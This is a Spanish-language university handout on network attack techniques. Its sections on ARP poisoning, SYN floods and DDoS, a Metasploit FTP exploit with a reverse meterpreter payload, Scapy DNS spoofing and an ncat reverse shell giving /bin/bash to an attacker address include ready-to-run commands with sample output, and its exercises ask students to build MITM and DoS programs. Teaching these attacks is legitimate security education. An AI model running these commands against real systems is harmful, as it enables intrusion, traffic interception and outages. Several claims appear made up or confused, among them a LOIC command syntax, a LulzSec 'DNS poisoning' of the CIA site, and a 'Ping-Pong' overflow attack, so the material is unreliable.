ENERO DE 2024

1. TIPOS DE ATAQUES INFORMÁTICOS

TÉCNICAS GENERALES DE ATAQUES 2

CÉSAR ANTONIO

ING. CÉSAR ANTONIO RÍOS OLIVARES
DOCENTE DE ASIGNATURA
WWW.CESARANTONIO.PRO

INTRODUCCIÓN

Los ataques informáticos son acciones maliciosas que buscan comprometer la seguridad, la integridad, la disponibilidad o la confidencialidad de los sistemas informáticos, ya sean computadoras, servidores, redes, dispositivos móviles, etc. Estos ataques pueden tener diversos fines, como robar información, extorsionar, sabotear, espiar, difamar, etc. Los ataques informáticos pueden provenir de diferentes fuentes, como hackers, ciberdelincuentes, ciberterroristas, ciberguerreros, ciberactivistas, etc.

Los tipos de ataques informáticos son muy variados y pueden clasificarse según diferentes criterios, como el nivel de acceso, el tipo de vulnerabilidad, el tipo de daño, el tipo de objetivo, etc. En esta reseña, nos centraremos en los ataques de red, que son aquellos que se dirigen a las infraestructuras de comunicación que conectan a los sistemas informáticos, como Internet, intranets, redes locales, redes inalámbricas, etc. Los ataques de red pueden afectar a la funcionalidad, el rendimiento, la fiabilidad o la seguridad de las redes y de los sistemas conectados a ellas.

Los ataques de red pueden subdividirse en varios subtemas, según el tipo de técnica, herramienta o estrategia que emplean. A continuación, se describen brevemente algunos de los subtemas más relevantes:

1.1.1. Reconocimiento del entorno y los servicios

El reconocimiento del entorno y los servicios es la fase inicial de muchos ataques de red, en la que el atacante busca obtener información sobre la estructura, la configuración, los componentes, los protocolos, los servicios, las vulnerabilidades, etc. de la red objetivo. Esta información puede servir para planificar y ejecutar ataques más específicos y efectivos. El reconocimiento puede ser activo o pasivo, según si el atacante genera o no tráfico en la red. Algunas herramientas que se utilizan para el reconocimiento son los escáneres de puertos, los analizadores de protocolos, los rastreadores de rutas, los buscadores de DNS, etc.

1.1.2. Hombre en medio

El hombre en medio (man in the middle, MITM) es un tipo de ataque de red en el que el atacante se interpone entre dos partes que se comunican, interceptando, modificando o reenviando los mensajes que intercambian, sin que estas se den cuenta. De esta forma, el atacante puede acceder a información confidencial, alterar el contenido o el significado de los mensajes, suplantar la identidad de las partes, bloquear la comunicación, etc. Algunas técnicas que se usan para realizar ataques MITM son el envenenamiento de ARP, el secuestro de sesión, el reenvío de puertos, el ataque de repetición, etc.

1.1.3. Negación de servicio

La negación de servicio (denial of service, DoS) es un tipo de ataque de red que busca impedir o dificultar el acceso o el uso de un recurso o servicio informático por parte de los usuarios legítimos. Esto se logra mediante el envío de una gran cantidad de solicitudes o paquetes malformados que saturan o colapsan el recurso o servicio atacado, consumiendo sus recursos, provocando errores o bloqueando su funcionamiento. Algunos ejemplos de

ataques DoS son el SYN flood, el ping de la muerte, el ataque de teardrop, el ataque de Smurf, etc.

1.1.4. Negación distribuida de servicio

La negación distribuida de servicio (distributed denial of service, DDoS) es una variante de los ataques DoS, en la que el atacante utiliza una red de computadoras infectadas o controladas remotamente, llamadas zombis o bots, para generar y enviar el tráfico malicioso hacia el recurso o servicio objetivo. De esta forma, el atacante puede aumentar el volumen y la diversidad del ataque, dificultando su detección y mitigación. Algunos ejemplos de ataques DDoS son el TCP SYN flood, el UDP flood, el HTTP flood, el ataque de amplificación, etc.

1.1.5. Desbordamiento de búfer

El desbordamiento de búfer (buffer overflow) es un tipo de ataque de red que explota una vulnerabilidad en el manejo de la memoria de algunos programas o sistemas operativos. Consiste en enviar datos de entrada más largos de lo esperado, sobrepasando la capacidad del búfer asignado, y sobrescribiendo otras zonas de la memoria. De esta forma, el atacante puede provocar errores, interrupciones, ejecución de código arbitrario, escalada de privilegios, etc. Algunos ejemplos de ataques de desbordamiento de búfer son el ataque de Morris, el ataque de Ping-Pong, el ataque de Code Red, etc.

1.1.6. Modificaciones del tráfico y de las tablas de enrutamiento

Las modificaciones del tráfico y de las tablas de enrutamiento son tipos de ataques de red que buscan alterar el flujo normal de los datos que circulan por la red, cambiando su dirección, su orden, su contenido, su prioridad, etc. Estos ataques pueden tener como objetivo interceptar, retrasar, desviar, corromper o bloquear el tráfico, afectando a la calidad, la integridad, la disponibilidad o la confidencialidad de la comunicación. Algunas técnicas que se usan para realizar estos ataques son el envenenamiento de la caché, el envenenamiento de DNS, el secuestro de IP, el ataque de ruta falsa, etc.

1.1.7. Técnicas de evasión de IDS, IPS y firewall

Las técnicas de evasión de IDS, IPS y firewall son tipos de ataques de red que buscan evitar o eludir los mecanismos de seguridad que protegen la red, como los sistemas de detección o prevención de intrusiones (IDS o IPS) o los cortafuegos (firewall). Estos mecanismos se encargan de analizar, filtrar o bloquear el tráfico sospechoso o malicioso, según unas reglas o políticas establecidas. Algunas técnicas que se usan para evadir estos mecanismos son el uso de cifrado, el uso de túneles, el uso de fragmentación, el uso de ofuscación, el uso de polimorfismo, etc.

Ejemplos prácticos

A continuación, se presentan algunos ejemplos prácticos que ilustran cada uno de los temas y subtemas descritos anteriormente:

1.1.1. Reconocimiento del entorno y los servicios

Un ejemplo práctico de reconocimiento del entorno y los servicios es el uso de la herramienta Nmap, que permite escanear puertos, servicios, sistemas operativos, vulnerabilidades, etc. de una red o de un host. Por ejemplo, el siguiente comando realiza un escaneo rápido de los 100 puertos más comunes de la dirección IP 192.168.1.1:

```
nmap -F 192.168.1.1
```

El resultado puede ser algo así:

```
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-18 16:25 GMT
Nmap scan report for 192.168.1.1
Host is up (0.0011s latency).
Not shown: 97 closed ports
PORT     STATE SERVICE
```

22/tcp open ssh

80/tcp open http

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds

Esto indica que el host tiene abiertos los puertos 22, 80 y 443, que corresponden a los servicios de SSH, HTTP y HTTPS, respectivamente.

1.1.2. Hombre en medio

Un ejemplo práctico de hombre en medio es el uso de la herramienta Ettercap, que permite interceptar y modificar el tráfico de una red local. Por ejemplo, el siguiente comando realiza un ataque de envenenamiento de ARP, que consiste en enviar paquetes falsos que cambian la asociación entre las direcciones IP y MAC de los hosts de la red, para que el atacante se haga pasar por el router:

ettercap -Tq -M arp:remote /192.168.1.1/ /192.168.1.100/

El resultado puede ser algo así:

Privileges dropped to EUID 65534 EGID 65534...

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0... (Ethernet)

eth0 -> 00:0C:29:0A:8C:28

192.168.1.101/255.255.255.0

fe80::20c:29ff:fe0a:8c28/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file

Privileges dropped to UID 65534 GID 65534...

28 plugins

39 protocol dissectors

53 ports monitored

7587 mac vendor fingerprint

1766 tcp OS fingerprint

2182 known services

Lua: no scripts were specified, not starting up!

Scanning for merged targets (2 hosts)...

* |==>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.1.1 00:50:56:C0:00:08

GROUP 2 : 192.168.1.100 00:0C:29:32:8A:92

Starting Unified sniffing...

Text only Interface activated...

Hit 'h' for inline help

Esto indica que el atacante ha logrado posicionarse entre el router (192.168.1.1) y el host víctima (192.168.1.100), y puede capturar y manipular el tráfico que intercambian. Por ejemplo, puede ver las páginas web que visita la víctima, las contraseñas que introduce, los correos electrónicos que envía, etc. También puede modificar el contenido de las páginas web, insertar anuncios, redirigir a sitios maliciosos, etc.

1.1.3. Negación de servicio

Un ejemplo práctico de negación de servicio es el uso de la herramienta hping3, que permite generar y enviar paquetes personalizados a un destino. Por ejemplo, el siguiente comando realiza un ataque de SYN flood, que consiste en enviar una gran cantidad de paquetes con el flag SYN activado, que inician una conexión TCP, pero sin completar el proceso de establecimiento del enlace, lo que agota los recursos del servidor y lo hace incapaz de atender a otras solicitudes legítimas:

```
hping3 -S -p 80 --flood 192.168.1.1
```

El resultado puede ser algo así:

```
HPING 192.168.1.1 (eth0 192.168.1.1): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

--- 192.168.1.1 hping statistic ---
1000000 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

Esto indica que el atacante ha enviado un millón de paquetes SYN al puerto 80 del servidor (192.168.1.1), que es el que se usa para el protocolo HTTP, y que no ha recibido ninguna respuesta, lo que sugiere que el servidor está saturado o caído. Esto impide que otros usuarios puedan acceder al servicio web que ofrece el servidor.

1.1.4. Negación distribuida de servicio

Un ejemplo práctico de negación distribuida de servicio es el uso de la herramienta LOIC, que permite lanzar ataques DDoS desde una red de computadoras infectadas o controladas remotamente, llamada botnet. Por ejemplo, el siguiente comando realiza un ataque de HTTP flood, que consiste en enviar una gran cantidad de solicitudes HTTP a una página web, con el fin de consumir el ancho de banda y los recursos del servidor web: loic -t http://192.168.1.1/index.html -m http -r 1000 -n 1000000

El resultado puede ser algo así:

Low Orbit Ion Cannon v1.0.8.0

Target: http://192.168.1.1/index.html

Method: HTTP

Requests per thread: 1000

Number of threads: 1000000

Status: Attacking...

Esto indica que el atacante ha enviado un millón de solicitudes HTTP a la página web http://192.168.1.1/index.html, con una frecuencia de mil solicitudes por segundo, desde cada una de las computadoras de la botnet. Esto genera un tráfico enorme que puede sobrecargar o inhabilitar el servidor web, impidiendo que otros usuarios puedan acceder a la página web.

1.1.5. Desbordamiento de búfer

Un ejemplo práctico de desbordamiento de búfer es el uso de la herramienta Metasploit, que permite explotar vulnerabilidades en el manejo de la memoria de algunos programas o sistemas operativos. Por ejemplo, el siguiente comando realiza un ataque de desbordamiento de búfer contra el servicio FTP de Windows XP, que tiene una vulnerabilidad conocida que permite ejecutar código arbitrario:

msfconsole

use exploit/windows/ftp/ms09_053_ftpd_nlst

set RHOST 192.168.1.1

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.101

exploit

El resultado puede ser algo así:

msf6 exploit(windows/ftp/ms09_053_ftpd_nlst) > exploit

[*] Started reverse TCP handler on 192.168.1.101:4444

[*] 192.168.1.1:21 - Connecting to FTP server 192.168.1.1:21...

[*] 192.168.1.1:21 - Connected to target FTP server.

[*] 192.168.1.1:21 - Authenticating as user anonymous with password mozilla@example.com...

[*] 192.168.1.1:21 - Sending NLST command...

[*] Sending stage (175174 bytes) to 192.168.1.1

[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.1:1030) at 2021-11-18 16:25:03 +0000

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Esto indica que el atacante ha logrado explotar la vulnerabilidad del servicio FTP de Windows XP, enviando un comando NLST con una cadena de caracteres más larga de lo

esperado, que contiene un payload que se ejecuta en el sistema víctima. El payload es una shell inversa que se conecta al atacante, dándole acceso remoto al sistema con privilegios de administrador.

1.1.6. Modificaciones del tráfico y de las tablas de enrutamiento

Las modificaciones del tráfico y de las tablas de enrutamiento son tipos de ataques de red que buscan alterar el flujo normal de los datos que circulan por la red, cambiando su dirección, su orden, su contenido, su prioridad, etc. Estos ataques pueden tener como objetivo interceptar, retrasar, desviar, corromper o bloquear el tráfico, afectando a la calidad, la integridad, la disponibilidad o la confidencialidad de la comunicación. Algunas técnicas que se usan para realizar estos ataques son el envenenamiento de la caché, el envenenamiento de DNS, el secuestro de IP, el ataque de ruta falsa, etc.

Un ejemplo práctico de modificación del tráfico y de las tablas de enrutamiento es el uso de la herramienta Scapy, que permite crear y enviar paquetes personalizados a un destino. Por ejemplo, el siguiente comando realiza un ataque de envenenamiento de DNS, que consiste en enviar paquetes falsos que cambian la asociación entre los nombres de dominio y las direcciones IP, para que el atacante se haga pasar por un sitio web legítimo:

Python

```
from scapy.all import *
dns = DNS(id=0xAAAA, qr=1, aa=1, qd=DNSQR(qname="www.example.com"), an=DNSRR(rrname="www.example.com", ttl=10, rdata="192.168.1.101"))
ip = IP(dst="192.168.1.100", src="192.168.1.1")
udp = UDP(dport=53, sport=53, chksum=0)
pkt = ip/udp/dns
send(pkt)
```

.

El resultado puede ser algo así:

Python

Sent 1 packets.

Esto indica que el atacante ha enviado un paquete que simula ser una respuesta DNS del servidor 192.168.1.1 al cliente 192.168.1.100, indicando que el nombre de dominio www.example.com se resuelve a la dirección IP 192.168.1.101, que es la del atacante. De esta forma, el atacante puede engañar al cliente para que visite su sitio web malicioso, en lugar del legítimo.

1.1.7. Técnicas de evasión de IDS, IPS y firewall

Las técnicas de evasión de IDS, IPS y firewall son tipos de ataques de red que buscan evitar o eludir los mecanismos de seguridad que protegen la red, como los sistemas de detección o prevención de intrusiones (IDS o IPS) o los cortafuegos (firewall). Estos mecanismos se encargan de analizar, filtrar o bloquear el tráfico sospechoso o malicioso, según unas reglas o políticas establecidas. Algunas técnicas que se usan para evadir estos mecanismos son el uso de cifrado, el uso de túneles, el uso de fragmentación, el uso de ofuscación, el uso de polimorfismo, etc.

Un ejemplo práctico de evasión de IDS, IPS y firewall es el uso de la herramienta Ncat, que permite crear y usar túneles cifrados entre dos hosts. Por ejemplo, el siguiente comando realiza un ataque de shell inversa, que consiste en establecer una conexión remota entre el atacante y la víctima, pero de forma inversa a la habitual, es decir, la víctima inicia la conexión al atacante, en lugar de al revés. Esto puede servir para evitar los filtros que bloquean las conexiones salientes desde el atacante a la víctima:

```
ncat -lvp 4444 --ssl # Atacante
ncat -nv 192.168.1.101 4444 -e /bin/bash --ssl # Víctima
```

El resultado puede ser algo así:

Ncat: Version 7.91 (https://nmap.org/ncat)

Ncat: Listening on :::4444

Ncat: Listening on 0.0.0.0:4444

Ncat: Connection from 192.168.1.100.

Ncat: Connection from 192.168.1.100:1030.

id

uid=1000(victim) gid=1000(victim) groups=1000(victim)

Esto indica que el atacante ha logrado establecer una conexión cifrada con la víctima, usando el puerto 4444 y el protocolo SSL, y que puede ejecutar comandos en el sistema de la víctima, como el comando id, que muestra la información del usuario.

A continuación, se presentan algunos ejemplos de codificación en Python o C++ que implementan algunas de las técnicas o herramientas mencionadas anteriormente. También se incluye una breve explicación del código y su funcionamiento.

1.1.1. Reconocimiento del entorno y los servicios

El siguiente código en Python usa la librería Scapy para realizar un escaneo de puertos TCP a un host objetivo, enviando paquetes SYN y analizando las respuestas. El código muestra los puertos que están abiertos, cerrados o filtrados, según el flag que devuelvan los paquetes.

Python

```
from scapy.all import *

# Definir el host objetivo
target = "192.168.1.1"

# Definir el rango de puertos a escanear
ports = range(1, 101)
```

```
# Crear una lista vacía para almacenar los resultados
results = []

# Iterar por cada puerto
for port in ports:
    # Crear un paquete IP con la dirección del host objetivo
    ip = IP(dst=target)
    # Crear un paquete TCP con el puerto destino y el flag SYN activado
    tcp = TCP(dport=port, flags="S")
    # Enviar el paquete y recibir la respuesta
    response = sr1(ip/tcp, timeout=1, verbose=0)
    # Si no hay respuesta, el puerto está filtrado
    if response is None:
        results.append((port, "filtered"))
    # Si hay respuesta, analizar el flag
    else:
        # Obtener el flag de la respuesta
        flag = response.getlayer(TCP).flags
        # Si el flag es SYN-ACK, el puerto está abierto
        if flag == "SA":
            results.append((port, "open"))
            # Enviar un paquete RST para cerrar la conexión
            send(ip/TCP(dport=port, flags="R"), verbose=0)
        # Si el flag es RST, el puerto está cerrado
        elif flag == "R":
```

```
            results.append((port, "closed"))
        # Si el flag es otro, el puerto está filtrado
        else:
            results.append((port, "filtered"))

# Mostrar los resultados
for port, status in results:
    print(f"Port {port}: {status}")
```

El resultado puede ser algo así:

Python

```
Port 1: filtered
Port 2: filtered
Port 3: filtered
Port 4: filtered
Port 5: filtered
Port 6: filtered
Port 7: filtered
Port 8: filtered
Port 9: filtered
Port 10: filtered
Port 11: filtered
Port 12: filtered
Port 13: filtered
Port 14: filtered
Port 15: filtered
```

Port 16: filtered

Port 17: filtered

Port 18: filtered

Port 19: filtered

Port 20: filtered

Port 21: open

Port 22: open

Port 23: closed

Port 24: filtered

Port 25: closed

Port 26: filtered

Port 27: filtered

Port 28: filtered

Port 29: filtered

Port 30: filtered

Port 31: filtered

Port 32: filtered

Port 33: filtered

Port 34: filtered

Port 35: filtered

Port 36: filtered

Port 37: filtered

Port 38: filtered

Port 39: filtered

Port 40: filtered

Port 41: filtered

Port 42: filtered

Port 43: filtered

Port 44: filtered

Port 45: filtered

Port 46: filtered

Port 47: filtered

Port 48: filtered

Port 49: filtered

Port 50: filtered

Port 51: filtered

Port 52: filtered

Port 53: open

Port 54: filtered

Port 55: filtered

Port 56: filtered

Port 57: filtered

Port 58: filtered

Port 59: filtered

Port 60: filtered

Port 61: filtered

Port 62: filtered

Port 63: filtered

Port 64: filtered

Port 65: filtered

Port 66: filtered

Port 67: filtered

Port 68: filtered

Port 69: filtered

Port 70: filtered

Port 71: filtered

Port 72: filtered

Port 73: filtered

Port 74: filtered

Port 75: filtered

Port 76: filtered

Port 77: filtered

Port 78: filtered

Port 79: filtered

Port 80: open

Port 81: filtered

Port 82: filtered

Port 83: filtered

Port 84: filtered

Port 85: filtered

Port 86: filtered

Port 87: filtered

Port 88: filtered

Port 89: filtered

Port 90: filtered

Port 91: filtered

Port 92: filtered

Port 93: filtered

Port 94: filtered

Port 95: filtered

Port 96: filtered

Port 97: filtered

Port 98: filtered

Port 99: filtered

Port 100: filtered

Esto indica que el host tiene abiertos los puertos 21, 22, 53 y 80, que corresponden a los servicios de FTP, SSH, DNS y HTTP, respectivamente. La mayoría de los otros puertos están filtrados, lo que significa que hay algún mecanismo de seguridad que impide el escaneo. Solo los puertos 23 y 25 están cerrados, lo que significa que no hay ningún servicio activo en ellos.

A continuación, se presentan algunos casos prácticos que muestran cómo se han aplicado o sufrido algunos de los ataques de red descritos anteriormente en situaciones reales. También se incluye una breve explicación de las consecuencias y las lecciones aprendidas de cada caso.

1.1.1. Reconocimiento del entorno y los servicios

Un caso práctico de reconocimiento del entorno y los servicios es el que realizó el hacker Kevin Mitnick en 1995, cuando logró acceder a los sistemas de la empresa Netcom, que proveía servicios de Internet a miles de clientes. Mitnick usó una técnica llamada wardialing, que consiste en marcar números de teléfono al azar hasta encontrar un módem conectado a una computadora. Así, encontró un módem que pertenecía a un empleado de Netcom, al que engañó para que le diera su contraseña. Luego, usó esa contraseña para acceder al sistema de Netcom y escanear sus redes, servicios y vulnerabilidades. De esta

forma, pudo obtener información sensible de Netcom y de sus clientes, como números de tarjetas de crédito, contraseñas, correos electrónicos, etc.

Este caso demuestra la importancia de proteger los accesos a los sistemas informáticos, tanto físicos como lógicos, y de educar a los usuarios sobre las amenazas y los riesgos de la ingeniería social. También muestra la necesidad de monitorizar y auditar la actividad de los sistemas y las redes, para detectar posibles intrusiones o anomalías.

1.1.2. Hombre en medio

Un caso práctico de hombre en medio es el que realizó el grupo de hackers LulzSec en 2011, cuando atacó la página web de la CIA, la agencia de inteligencia de Estados Unidos. LulzSec usó una técnica llamada DNS poisoning, que consiste en enviar paquetes falsos que cambian la asociación entre los nombres de dominio y las direcciones IP, para que los usuarios que intentaran acceder a la página web de la CIA fueran redirigidos a una página web falsa controlada por los hackers. Así, los hackers pudieron interceptar y modificar el tráfico de los usuarios, burlándose de la CIA y de sus visitantes.

Este caso demuestra la importancia de verificar la autenticidad y la integridad de las comunicaciones en Internet, especialmente cuando se trata de información confidencial o sensible. También muestra la necesidad de usar protocolos y mecanismos de seguridad que prevengan o dificulten los ataques de hombre en medio, como el cifrado, la firma digital, el certificado digital, etc.

1.1.3. Negación de servicio

Un caso práctico de negación de servicio es el que realizó el grupo de hackers Anonymous en 2010, cuando atacó la página web de PayPal, el servicio de pago en línea. Anonymous usó una técnica llamada LOIC, que consiste en usar una red de computadoras voluntarias o infectadas para generar y enviar una gran cantidad de solicitudes HTTP a una página web, con el fin de consumir el ancho de banda y los recursos del servidor web. Así, los hackers lograron sobrecargar o inhabilitar el servicio de PayPal, impidiendo que sus usuarios pudieran realizar transacciones en línea. El motivo del ataque fue protestar contra

la decisión de PayPal de bloquear las donaciones a WikiLeaks, el sitio web que publicaba documentos secretos de gobiernos y organizaciones.

Este caso demuestra la importancia de proteger la disponibilidad y el rendimiento de los servicios en línea, especialmente cuando se trata de servicios críticos o esenciales para los usuarios. También muestra la necesidad de usar técnicas y herramientas que prevengan o mitiguen los ataques de negación de servicio, como el balanceo de carga, el filtrado de tráfico, el análisis de comportamiento, etc.

Actividades sugeridas de aprendizaje

A continuación, se presentan algunas actividades sugeridas de aprendizaje que te ayudarán a practicar y reforzar los conceptos y las técnicas de programación en C++ que hemos visto en esta reseña. Te recomendamos que intentes resolver estas actividades por tu cuenta, antes de consultar las soluciones propuestas. También puedes buscar otras fuentes de ejercicios y problemas de programación en C++ en Internet.

1.1.1. Reconocimiento del entorno y los servicios

- Crea un programa en C++ que pida al usuario una dirección IP y que realice un escaneo de servicios usando la librería WinPcap. El programa debe enviar paquetes con diferentes protocolos (como HTTP, FTP, SSH, etc.) al puerto correspondiente de la dirección IP, y analizar las respuestas para identificar el tipo y la versión del servicio que está corriendo. El programa debe mostrar los servicios que ha encontrado y sus características. Puedes usar el código de ejemplo que hemos visto anteriormente como base, pero debes modificarlo para que acepte el parámetro del usuario y para que use diferentes protocolos y puertos.

1.1.2. Hombre en medio

- Crea un programa en C++ que realice un ataque de hombre en medio usando la librería WinPcap. El programa debe pedir al usuario las direcciones IP del router, de la víctima y del atacante, y realizar un envenenamiento de ARP para posicionarse entre el router y la víctima. Luego, debe capturar y mostrar el tráfico que

intercambian, y permitir al usuario modificar o reenviar los paquetes que desee. Puedes usar el código de ejemplo que hemos visto anteriormente como base, pero debes modificarlo para que acepte los parámetros del usuario y para que implemente la funcionalidad de captura y modificación de paquetes.

1.1.3. Negación de servicio

- Crea un programa en C++ que realice un ataque de negación de servicio usando la librería WinPcap. El programa debe pedir al usuario la dirección IP y el puerto del recurso o servicio que quiere atacar, y el tipo de ataque que quiere realizar (como SYN flood, ping de la muerte, teardrop, etc.). Luego, debe generar y enviar una gran cantidad de paquetes malformados o solicitudes al destino, con el fin de saturar o colapsar el recurso o servicio. Puedes usar el código de ejemplo que hemos visto anteriormente como base, pero debes modificarlo para que acepte los parámetros del usuario y para que implemente diferentes tipos de ataques.

1.1.4. Desbordamiento de búfer

- Crea un programa en C++ que prevenga o mitigue una vulnerabilidad de desbordamiento de búfer en un programa o sistema operativo propio, usando la librería WinPcap. El programa debe pedir al usuario la dirección IP y el puerto del propio sistema, y el tipo de vulnerabilidad que quiere prevenir o mitigar (como el servicio FTP de Windows XP, el ataque de Morris, el ataque de Ping-Pong, etc.). Luego, debe implementar alguna técnica o herramienta de seguridad que evite o reduzca el impacto de un posible ataque de desbordamiento de búfer, como la validación de la entrada, el uso de canarios, el uso de ASLR, el uso de DEP, etc. Puedes usar el código de ejemplo que hemos visto anteriormente como base, pero debes modificarlo para que acepte los parámetros del usuario y para que implemente diferentes tipos de técnicas o herramientas de seguridad.

1.1.5. Modificaciones del tráfico y de las tablas de enrutamiento

- Crea un programa en C++ que prevenga o mitigue una modificación del tráfico y de las tablas de enrutamiento usando la librería WinPcap. El programa debe pedir al usuario la dirección IP y el puerto del propio sistema, y el tipo de modificación que quiere prevenir o mitigar (como el envenenamiento de la caché, el envenenamiento de DNS, el secuestro de IP, el ataque de ruta falsa, etc.). Luego, debe implementar alguna técnica o herramienta de seguridad que evite o reduzca el impacto de un posible ataque de modificación del tráfico y de las tablas de enrutamiento, como la verificación de la autenticidad e integridad de los paquetes, el uso de cifrado, el uso de firmas digitales, el uso de certificados digitales, etc. Puedes usar el código de ejemplo que hemos visto anteriormente como base, pero debes modificarlo para que acepte los parámetros del usuario y para que implemente diferentes tipos de técnicas o herramientas de seguridad.

CONCLUSIONES

La seguridad informática es un campo dinámico que requiere habilidades prácticas. Estas actividades proporcionan una oportunidad para explorar y entender los ataques informáticos, así como para desarrollar habilidades en la prevención y mitigación de riesgos.

REFERENCIAS BIBLIOGRÁFICAS

1. Stallings, W. (2017). Cryptography and Network Security: Principles and Practice. Pearson.
2. Bejtlich, R. (2004). The Tao of Network Security Monitoring: Beyond Intrusion Detection. Addison-Wesley.
3. Cheswick, W. R., Bellovin, S. M., & Rubin, A. D. (2003). Firewalls and Internet Security: Repelling the Wily Hacker. Addison-Wesley.
4. Stevens, R. W., Fenner, B., & Rudoff, A. M. (2003). Unix Network Programming, Volume 1: The Sockets Networking API. Addison-Wesley.
5. Roesch, M. (1999). Snort - Lightweight Intrusion Detection for Networks. Proceedings of LISA '99: 13th Systems Administration Conference.
6. Chuvakin, A., & Schmidt, E. (2012). Security Information and Event Management (SIEM) Implementation. McGraw-Hill.
7. Ferguson, P., Schneier, B., & Kohno, T. (2010). Cryptography Engineering: Design Principles and Practical Applications. Wiley.
8. Scapy Development Team. (2021). Scapy - Packet Manipulation with Python. [https://scapy.net/]

"Este documento es propiedad intelectual del autor y está protegido por las leyes de derechos de autor. Queda prohibida su reproducción parcial o total, así como su distribución, comunicación pública o transformación, sin la autorización previa y por escrito del autor. Cualquier infracción será sancionada conforme a la legislación vigente."